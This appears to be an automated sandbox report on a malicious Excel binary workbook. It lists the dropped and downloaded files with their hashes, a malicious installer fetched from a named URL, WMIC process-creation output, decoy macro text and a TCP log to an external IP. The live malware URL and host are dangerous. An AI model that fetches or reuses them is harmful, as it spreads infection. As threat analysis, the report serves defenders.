Preview:	.PNG........IHDR.............'.......gAMA......a.....sRGB.........pHYs...t...t..f.x...rPLTE...............wxy............KJJ888......ZZZ..............%%%jjj.q.......-..J..3a....g.......i.......8..z.m.G....=.IDATx....H.......^J.).bV......R'@..vLx....X.Z".....4...........................................................................................................................................OO..^.....U3.sh......j.../.g...e.#.....y..).......6..M\|=._'...3..12.....$....:_.4.{.dM].........1..L#..s.f.>%v.i_.....{NE$..r...........2.Y...T.....1......k'...5.<.jt...u(.j.....jb(.......\|qKw~......&........Z._..-~....V..+P.k."6'...^#.K)9.\|....[...Z%./......5y...4.5).......E.4..P."...@c~BO.>ac..n*.Vo..^.X...N...'.q......2.Ta...v.T..$.!.....'..Luo.......^...].Q.q]?.7.O6.....La......A".J.Z....E]..}..#..L."V.>./m{...j..x9!.....0N.c5.c.DU..EO.b.j..v:.o..R...t..v.?.=...^-..LDly8\.....B....$...hY.Jxl...h.\s.{gT.S..H.T.................)}.5..7......HC.Q.[

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B065FF3C.emf Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	2.025265777483207
Encrypted:	false
SSDEEP:	12:Y8uOvplqCHJ/duThp0p1hpk1Z/ux0tL9IgkXfRkMXI3ioyaf:YXeOCp/dI0p/pYux8LVkWty6
MD5:	C5333859687EFA952470EAA98027A042
SHA1:	4FF7D216CA84BEF4E4C5448B879EF8F6F5C5A476
SHA-256:	1D4B6D5B8718DD67596BF8414C6F47D8FAAC6C90FC05622D0634170AB4D4A429
SHA-512:	A17327739A17FBDCCF455AEF0F80B6099AFC54088BE447A15A25C4B8816087F46E4E3FCFB516527893DF9A2002B7878E02A3F4DC01007BFC26AC380E7E874338
Malicious:	false
Preview:	....l...............................2... EMF....T...........................8...X....................?......F...........GDIC........?B"...............d.....................................................ddd.......-.........!.................!.................!.................!.............................-.........!...............'.....................................................................................!.......'...............ddd.....%...........L...d...................................!..............?...........?................................L...d...................................!..............?...........?................................L...d...................................!..............?...........?................................L...d...................................!..............?...........?................................'.......................%...........L...d...................................!..............?...........?................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\usa[1] Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	5437775
Entropy (8bit):	7.998224982007381
Encrypted:	true
SSDEEP:	98304:oY+ZDNvXLvCK5oW+DiqwEZzwoVTU38+hAByZApTjxEtSJ94+PrJhWX7a8ap0GAJa:oNLvCK6i+3UdQdPx2A9p8g07Rq
MD5:	8DF649FAB065908962626C67F247618C
SHA1:	19EBC4AA4CC9823788746394EC8419047B43EAE9
SHA-256:	FD4514FF3A7DC34574A19042EC70947136137B853C3EC4D7155123562627F450
SHA-512:	7346E89005AA5279FE05372C9A18B749173313639994B2C45EC4240864B3D70F8B183757B9714F43559F9B3B2799ABC4E315994BB80D88F09EC74C434EC7D094
Malicious:	true
IE Cache URL:	https://etisalatbuyback.com/static/docs/usa
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.$_.................h...:...@...4............@..........................0 ...........@.............................................0f...........................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc...0f.......h..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\53B10000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	683257
Entropy (8bit):	7.744604873577989
Encrypted:	false
SSDEEP:	6144:1cvH5bJDPDYdx4wK8IOhQpHKecN/UzzGyXjnr5YrNVo9Y/GbH:18bA08IOhOHuNUnGyznrGrNVE+GbH
MD5:	733B6623ABD138741A1483FDDC1C2C2F
SHA1:	D7A885906FB7A565B3A352DEA8DAE7C20E1297E1
SHA-256:	DD4088AB798B2D00AA210E2710B946C768262140CD59656599F8EB2B5126F284
SHA-512:	FD3C5ADBD82F53B7368DEF4CFBF16BDEE65783B778EBDAFECC3BC4C31FBEA3CBECF45F991A3CC3D0D046AA85AAFE819877DBC8AA56CCD09AE5B3BB2778D41F6B
Malicious:	false
Preview:	.UIo.0..#.."_Q.)...dz....(.W..2..lw...<;i..I.M/.oy.......BT.6.H.V8..!?...I....kg.!G..z......!V...!]J..cQt`x...........\..........&..N..l.7.......?.N....._.j..^+...e.+...k[%.r...~.6......2.I.>...N".:.Lc..`...cF("KP.S>...P.+.3r.w...L.06dU:.`.H..7.?bCdc.W..P..r..a.f.......n...4v.......\|..k.}J..RAFVnWgH...}.....4GR..\|...e.>......F.fY.K...............+'w ]R.x..=.l.W7.'...9t}d...y...t.q...9....9...w...c8....inet..BR.<...."...;..!!ANh.r(m~.......PK..........!................[Content_Types].xml ...(................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	248808
Entropy (8bit):	4.293878216916494
Encrypted:	false
SSDEEP:	1536:X8pwK20L0SlWWZFVKKHaRRDqBcAQHdHTuETaK/E5A0j3kTkJIsDWpksZk/6tf2Dy:XC38WZFVKKHSRDqBcA+FLM0Ar6t3s6bh
MD5:	69139435A54B77B8C578A3ABED32BEC4
SHA1:	EB55DC8452DEA5AE616289BD790E99D8DB5994BF
SHA-256:	73A5512B7BD0DCACC02E5AEFB4C248C86B284C719B5A4A19E85B68F739B3DCE0
SHA-512:	0E7B5FA53EDCFBE757F0FF12990388D73C6D662243AA796072BC42B3F93C7575639561266E423B1FEAB9A16B3EB262EA9A6CD9CC7BE27B36A3D318D61C6819C3
Malicious:	false
Preview:	MSFT................Q................................%......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*..\+...+..$,...,...,..P-...-......\|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8...8...9..l9...9..4:...:...:..`;...;..(<...<...<..T=...=...>...>...>..H?...?...@..t@...@..<A...A...B..hB.......l...B..........................H...4............................................ ...............................x..lL..............T............ ..P........................... ...................................................

C:\Users\user\AppData\Local\Temp\nso349F.tmp\NSISList.dll Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	107520
Entropy (8bit):	6.399584175418038
Encrypted:	false
SSDEEP:	3072:YJSzh02DsLMtTmDW2qTKh1kOLoLYidGlSf9:wSS2DkYQqTHTdGl
MD5:	49BB98396DC0187146319F8C130C363C
SHA1:	548F11A0BA951291656DA67BA5A49C439A87130B
SHA-256:	517A328BFED8935773D94A40812763CCDF08881AD5D71A83A629EAFA62B41CF2
SHA-512:	290D87D644707A7096613CBA4EB84F7E23F426BF98D8540DEF6A76AC748E4EEB34C7E2FAABB39B602B2DEF604535CD574CE35ED15E346CF43B544FDBBAEA9458
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................X...H.......r............@..........................0..................................................J....................................................................................................................text....R.......T.................. ..`.itext.......p.......X.............. ..`.data................\..............@....bss.....3...........j...................idata..J............j..............@....edata...............v..............@..@.reloc...............x..............@..B.rsrc...............................@..@.............0......................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso349F.tmp\System.dll Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.737504888129487
Encrypted:	false
SSDEEP:	192:BenY0qWTlt70IAj/lQ0sEWc/wtYbBH2aDybC7y+XB9IwL:B8+Qlt70Fj/lQRY/9VjjlL
MD5:	8CF2AC271D7679B1D68EEFC1AE0C5618
SHA1:	7CC1CAAA747EE16DC894A600A4256F64FA65A9B8
SHA-256:	6950991102462D84FDC0E3B0AE30C95AF8C192F77CE3D78E8D54E6B22F7C09BA
SHA-512:	CE828FB9ECD7655CC4C974F78F209D3326BA71CED60171A45A437FC3FFF3BD0D69A0997ADACA29265C7B5419BDEA2B17F8CC8CEAE1B8CE6B22B7ED9120BB5AD3
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L......]...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text...O .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso349F.tmp\nsis7z.dll Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	179496
Entropy (8bit):	6.484752992108191
Encrypted:	false
SSDEEP:	3072:Z76+sYX+bTOybVJJhk6BoUDReZgbUP3A4zeGh62RZ56GMX:Zvs8+WeVJQ6CUDRe+UPAYefimRX
MD5:	7CD97D946E10E902ED2822508E2A11C4
SHA1:	FC64D292D1C239ABC82BB49A063A58FF8D0609FB
SHA-256:	F2FC2A430833ED9FEF374EC73CB3302D66471AAADDB2F63D3E6E4139B212B78B
SHA-512:	52513E03FDB79EAEB3D43D28F6862515C13AD65483A2786CA4AA4E5B1EAA5E34AD3C627B9B1BFB5F89B192CDC1C6B6073F3B34BCE36FD2FABF6D286E13987621
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.S.6.=S6.=S6.=S(..S..=S(..S!.=S(..SB.=S.<PS7.=S.<FS?.=S6.<S..=S?..S7.=S(..SX.=S(..S7.=S(..S7.=S(..S7.=SRich6.=S........PE..L...C..M...........!.................u...............................................V...............................m.......c..P.......................(.......h...................................0:..@............................................text............................... ..`.rdata...^.......^..................@..@.data....^...p.......Z..............@....rsrc................r..............@..@.reloc...-...........\|..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso349F.tmp\registry.dll Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	6.16866702253594
Encrypted:	false
SSDEEP:	384:W2mvyNjH3rPnAZ4wu2QbnC7qB7PnrvScaeYA4CIDEge/QqL2AQ:/75w/OfrzB4CUxuQfA
MD5:	2B7007ED0262CA02EF69D8990815CBEB
SHA1:	2EABE4F755213666DBBBDE024A5235DDDE02B47F
SHA-256:	0B25B20F26DE5D5BD795F934C70447112B4981343FCB2DFAB3374A4018D28C2D
SHA-512:	AA75EE59CA0B8530EB7298B74E5F334AE9D14129F603B285A3170B82103CFDCC175AF8185317E6207142517769E69A24B34FCDF0F58ED50A4960CBE8C22A0ACA
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..]...]...]..\|R..]...]...]...Q..]...Q..]...Q..]..Rich.]..........PE..L...PxEN...........!.....H... .......#.......`.......................................................................i.......f..P...............................<....................................................`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data........p.......X..............@....reloc...............Z..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$policy#37820.xlsb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtt:RJ1
MD5:	7AB76C81182111AC93ACF915CA8331D5
SHA1:	68B94B5D4C83A6FB415C8026AF61F3F8745E2559
SHA-256:	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
SHA-512:	A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
Malicious:	true
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.095703110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1Mgkd3vs36JQAiveyn:Yw7gJGWMXJXKSOdYiygKkXe/egkZ0qeF
MD5:	7A172F8E10BA6DDE2024BC3F01C484A9
SHA1:	CD9718A5A66042CE7D0124293E48793BFFA78A6B
SHA-256:	DE0F24AC9C3F7519230115A6EFC2AC06C5B87746E3CD543C9DEC05511E1BC56D
SHA-512:	1B05B19B38331D14CFEE92B9E7AF0C95018E9306859646633F2CB942023A34ECEDE7AB4EBE80576A34D57772FF7C49F49F1292263A1C7FFE1386787A3303F473
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 6596;...ReturnValue = 0;..};....

Static File Info

General
File type:	Zip archive data, at least v2.0 to extract
Entropy (8bit):	7.909878787236229
TrID:	Excel Microsoft Office Binary workbook document (47504/1) 49.73% Excel Microsoft Office Open XML Format document (40004/1) 41.88% ZIP compressed archive (8000/1) 8.38% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	policy#37820.xlsb
File size:	123671
MD5:	f60146ee4fab89ecde8bb1bdb23287b6
SHA1:	82bb4929a849deb1860e4c902745a0673c5911c8
SHA256:	6ab90a34f6fdfaf1486009f70318816cc61201248c0a5231030b9b3d3e010fe9
SHA512:	d88c89b05aac6cde9feb51fc3e43d193747befbabc411001565bff1ab8c2ee03767d9451ed357d47cb6394930cda34a0714e1eebfbef024430ff5dc67c847063
SSDEEP:	3072:iu+RyXneul60EHA/djFCmQQ26ysWD5mcJU0vBA7eyX0fp0KpqY8C:iuJeutEqrv9K
File Content Preview:	PK........}..R................docProps/PK...........R................docProps/app.xml.SAn.0.....hB@N1.....fP..rh..v.3K.,"4)p7..G..}Y).....F....hvD......"..'\|..9.oBa.j......8C....x..- .Q.?.Y.5D..,Ix...........~.}B....R.W"..50..e...U._........ ._.....h.L...

File Icon


Icon Hash:	74f0d0d2c6d6d0f4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "policy#37820.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"On recommend tolerably my belutual has cannot beauty indeed now sussex merely you. It possible no husbands jennings ye offended packages pleasant he. Remainder recommend engrossed who eat she defective applauded departure joy. Get dissimilar not introduced day her apartments. Fully as taste he mr do smile abode every. Luckily offered article led lasting country minutes nor old. Happen people things oh is oppose up parish effect. Law handsome old outweigh humoured far appetite. He share of first to worse. Weddings and any opinions suitable smallest nay. My he houses or months settle remove ladies appear. Engrossed suffering supposing he recommend do eagerness. Commanded no of depending extremity recommend attention tolerably. Bringing him smallest met few now returned surprise learning jennings. Objection delivered eagerness he exquisite at do in. Warmly up he nearer mr merely me. Up unpacked friendly ecstatic so possible humoured do. Ample end might folly quiet one set spoke her. We no am former valley assure. Four need spot ye said we find mile. Are commanded him convinced dashwoods did estimable forfeited. Shy celebrated met sentiments she reasonably but. Proposal its disposed eat advanced marriage sociable. Drawings led greatest add subjects endeavor gay remember. Principles one yet assistance you met impossible. Suppose end get boy warrant general natural. Delightful met sufficient projection ask. Decisively everything principles if preference do impression of. Preserved oh so difficult repulsive on in household. In what do miss time be. Valley as be appear cannot so by. Convinced resembled dependent remainder led zealously his shy own belonging. Always length letter adieus add number moment she. Promise few compass six several old offices removal parties fat. Concluded rapturous it intention perfectly daughters is as. Terminated principles sentiments of no pianoforte if projection impossible. Horses pulled nature favour number yet highly his has old. Contrasted literature excellence he admiration impression insipidity so. Scale ought who terms after own quick since. Servants margaret husbands to screened in throwing. Imprudence oh an collecting partiality. Admiration gay difficulty unaffected how. Guest it he tears aware as. Make my no cold of need. He been past in by my hard. Warmly thrown oh he common future. Otherwise concealed favourite frankness on be at dashwoods defective at. Sympathize interested simplicity at do projecting increasing terminated. As edward settle limits at in. Travelling alteration impression six all uncommonly. Chamber hearing inhabit joy highest private ask him our believe. Up nature valley do warmly. Entered of cordial do on no hearted. Yet agreed whence and unable limits. Use off him gay abilities concluded immediate allowance. Him boisterous invitation dispatched had connection inhabiting projection. By mutual an mr danger garret edward an. Diverted as strictly exertion addition no disposal by stanhill. This call wife do so sigh no gate felt. You and abode spite order get. Procuring far belonging our ourselves and certainly own perpetual continual. It elsewhere of sometimes or my certainty. Lain no as five or at high. Everything travelling set how law literature. As collected deficient objection by it discovery sincerity curiosity. Quiet decay who round three world whole has mrs man. Built the china there tried jokes which gay why. Assure in adieus wicket it is. But spoke round point and one joy. Offending her moonlight men sweetness see unwilling. Often of it tears whole oh balls share an. It sportsman earnestly ye preserved an on. Moment led family sooner cannot her window pulled any. Or raillery if improved landlord to speaking hastened differed he. Furniture discourse elsewhere yet her sir extensive defective unwilling get. Why resolution one motionless you him thoroughly. Noise is round

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 30, 2021 20:06:07.605447054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.675653934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.675950050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.753014088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.823358059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.823378086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.823419094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.823431969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.823472977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.823539972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.823570013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.823623896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.826231956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.826251030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.826344013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.838577986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.908277988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.908302069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.908379078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.909205914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.980412960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981148958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981199026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981228113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981234074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981245995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981270075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981273890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981303930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981323957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981339931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981340885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981378078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981380939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981410980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981415033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981445074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981446981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981478930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981501102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981514931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981534958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981549025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981570959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981584072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:07.981586933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:07.981621027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053409100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053447962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053477049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053503990 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053572893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053601027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053622961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053622961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053637028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053647041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053668022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053710938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053875923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053905964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053930044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053937912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053953886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053956032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053971052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053977013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.053996086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.053997993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054011106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054019928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054044962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054063082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054270983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054299116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054322004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054336071 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054344893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054347038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054366112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054371119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054390907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054394007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054409027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054418087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054429054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054444075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054455996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054467916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054482937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054490089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054508924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054512024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054524899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054534912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054555893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054558992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.054572105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.054591894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126537085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126574039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126626015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126640081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126647949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126662970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126683950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126688957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126704931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126725912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126743078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126754999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126765966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126786947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.126791954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126823902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.126874924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127021074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127070904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127305031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127332926 CEST	443	49720	212.2.198.90	192.168.2.3
